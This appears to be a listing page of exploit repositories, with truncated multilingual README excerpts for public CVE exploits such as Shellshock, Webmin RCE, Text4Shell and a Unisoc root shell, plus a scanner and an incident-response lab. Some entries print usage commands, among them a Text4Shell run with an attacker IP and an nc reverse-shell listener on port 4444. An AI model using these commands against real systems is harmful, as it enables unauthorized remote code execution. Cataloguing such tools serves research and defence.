XSHOCK

⚡ xShock ShellShock ⚡ Written by TMRSWRR Version 1.0.0 xShock ShellShock CVE-2014-6271 This tool exploits shellshock. Instagram: TMRSWRR 🖼️ Screenshots 🖼️ 📹 How to use 📹 Click on the image... 📒 Read Me 📒 All founded directories will be saved in vulnurl.txt file. The results of the executed commands...

CVE-2019-15107-Exploit

CVE-2019-15107 Exploit en Python Este exploit es para CVE-2019-15107 Webmin 1.890-1.920 RCE sin autenticación implementado en Python. Uso root@kitploit: python3 webminExploit.py python3 webminExploit.py 10.200.198.200 10000 whoami python3 webminExploit.py 10.200.198.200 10000 "curl -h"...

CVE-2024-38063-Exploit-Refactoring

Exploit CVE-2024-38063 Herramienta de explotación avanzada con manejo de errores de precisión y ejecución conforme a DO-176C. Resumen Esta es una herramienta especializada de evaluación de seguridad para probar la mitigación de vulnerabilidades IPv6 de Windows en sistemas objetivo. Incluye...

pandorafms_7.44

Pandora FMS 7.44 CVE-2020-13851 Pandora FMS 7.44 CVE-2020-13851 RCE permite a un usuario autenticado lograr la ejecución remota de comandos a través de la funcionalidad de eventos. Se puede realizar con credenciales o una cookie de sesión PHP. Comenzando Ejecutando el programa Usando credenciales...

CVE-2020-8835

CVE-2020-8835...

CVE-2022-36804

CVE-2022-36804 RCE en Bitbucket 2022 Este repositorio es parte de hgrab-framework dork title: "Public Repositories - Bitbucket" Productos afectados root@kitploit: - Bitbucket Server y Data Center 7.6 anteriores a 7.6.17 - Bitbucket Server y Data Center 7.17 anteriores a 7.17.10 - Bitbucket Server...

CVE-2020-9548

CVE-2020-9548：FasterXML/jackson-databind 远程代码执行漏洞...

trivy-action

Trivy Action GitHub Action for Trivy Table of Contents Usage Scan CI Pipeline Scan CI Pipeline w/ Trivy Config Cache Trivy Setup Scanning a Tarball Using Trivy with templates Using Trivy with GitHub Code Scanning...

opgp-service-cve-2019-9153

CVE-2019-9153 漏洞 基于 BSI 的设置复现 PoC 调查 opgp-service API 对此类攻击的脆弱性 使用以下命令运行测试： root@kitploit: npm test 结论： opgp-service 默认配置了 AEADprotect=true，这可以防御 CVE-2019-9153 中描述的数字签名绕过攻击。 许可证：MIT 版权所有 2019 Stéphane M. Catala...

apache__rocketmq_CVE-2019-17572_4-6-0

Apache RocketMQ Apache RocketMQ es una plataforma distribuida de mensajería y streaming con baja latencia, alto rendimiento y fiabilidad, capacidad de nivel de billones y escalabilidad flexible. Ofrece una variedad de funciones: Modelo de mensajería Pub/Sub Mensajería transaccional de grado...

unisoc-su

unisoc-su 一种利用 CVE-2025-31710 连接到 cmdskt 抽象套接字，在未修补的展讯机型上获取 root shell 的方法 在大家喊叫之前，展讯公司本身已授权我在 CVE-2025-31710 公告后发布此内容，所以请保持安静。 让我们先讲个笑话 是的，你没有做梦，今天我要向你展示一个针对 com.sprd.engineermode 应用的系统 shell 漏洞，并且由于它是 cmdskt 的受信客户端之一，我也能成功进入。这个抽象套接字是作为 root 运行的 cmdservices 服务的一部分，所以，是的，我很高兴向你介绍 unisoc-su。这里是从...

text4shell-exploit

text4shell-exploit 一个基于Python的定制化概念验证（PoC）利用程序，针对Text4Shell（CVE-2022-42889），这是Apache Commons Text版本 示例 root@kitploit: python3 text4shell.py 127.0.0.1 192.168.1.2 4444 确保在攻击机上设置监听器： root@kitploit: nc -nlvp 4444 有效载荷逻辑 该脚本注入： root@kitploit: $script:javascript:java.lang.Runtime.getRuntime.exec...

frameworks_av_CVE-2023-20933

Este repositorio no tiene un README...

CVE-2021-31589

Badges 许可证 MIT 安装 使用 npm 安装 cve-2021-31589 root@kitploit: npm install cve-2021-31589 -g 用法 单 URL 示例 root@kitploit: cve-2021-31589 -u http://example.com 用法 URL 列表示例 root@kitploit: cve-2021-31589 -l urls.txt -o out.txt 截图 帮助菜单 获取所有项 root@kitploit: 👋 你好，karthithehacker .-----------------------------...

CVE-2021-22204

ExifTool 远程代码执行漏洞 这应该算是CVE-2021-22204的分析文章，但更多像是我的草稿本，写满了很多杂乱无章的东西，对于漏洞分析文章而言显得有些废话了，但却让我学到很多。 说实话，我从未使用过这款工具，也几乎没有接触过Perl这门语言，导致我在分析，乃至复现的过程中心中满是问号。在开始分析之前，先看看网上已公开的poc，以及我心中的疑问。 POC - convisolabs 看到的一篇文章是1，其对漏洞产生的原因进行了简短介绍，但是由于我看不懂Perl代码，很多地方不清楚。其复现过程如下： 下载12.23版本的exiftool root@kitploit: wget...

Remote-Code-Execution-CVE-2024-28397-pyload-ng-js2py-

Remote Code Execution – CVE-2024-28397 pyload-ng / js2py This repository contains a Proof-of-Concept PoC exploit for CVE-2024-28397 , a Remote Code Execution vulnerability affecting pyload-ng due to insecure usage of js2py. Disclaimer: This PoC is for educational and research purposes only. Do no...

CVE-2023-23397

CVE-2023-23397 PoC de CVE-2023-23397 en C 1- descargar el msgkit 2- editar la clase appointment y añadir lo siguiente: 3- crear una nueva clase dentro del proyecto para establecer las propiedades del archivo msg: root@kitploit: using MsgKit.Enums; using System; using System.Collections.Generic;...

cpanel_xss_2023

Sobre la Herramienta ⚒️ cpanelxss2023 es un script simple de Python diseñado para encontrar la vulnerabilidad CVE-2023-29489 y su explotabilidad en cpanel. Características ⚙️ Escaneo de CVE-2023-29489: Identifica y escanea la vulnerabilidad y explotación de CVE-2023-29489. Entrada de URL: Admite...

cve-2025-21756

Análisis n-day de CVE-2025-21756 Un análisis n-day de CVE-2025-21756 basado en el writeup de Michael Hoefler. Mi exploit difiere del exploit original en el paso de spray y en algunos otros pequeños detalles. Está aquí...

letsdefend-cve-2024-49138-investigation

Investigación LetsDefend: CVE-2024-49138 🔍 Descripción general Investigación práctica de SOC y simulación de respuesta a incidentes utilizando LetsDefend, centrada en la explotación real de CVE-2024-49138 , una vulnerabilidad de escalada de privilegios en el controlador CLFS de Windows. 📅 Detalle...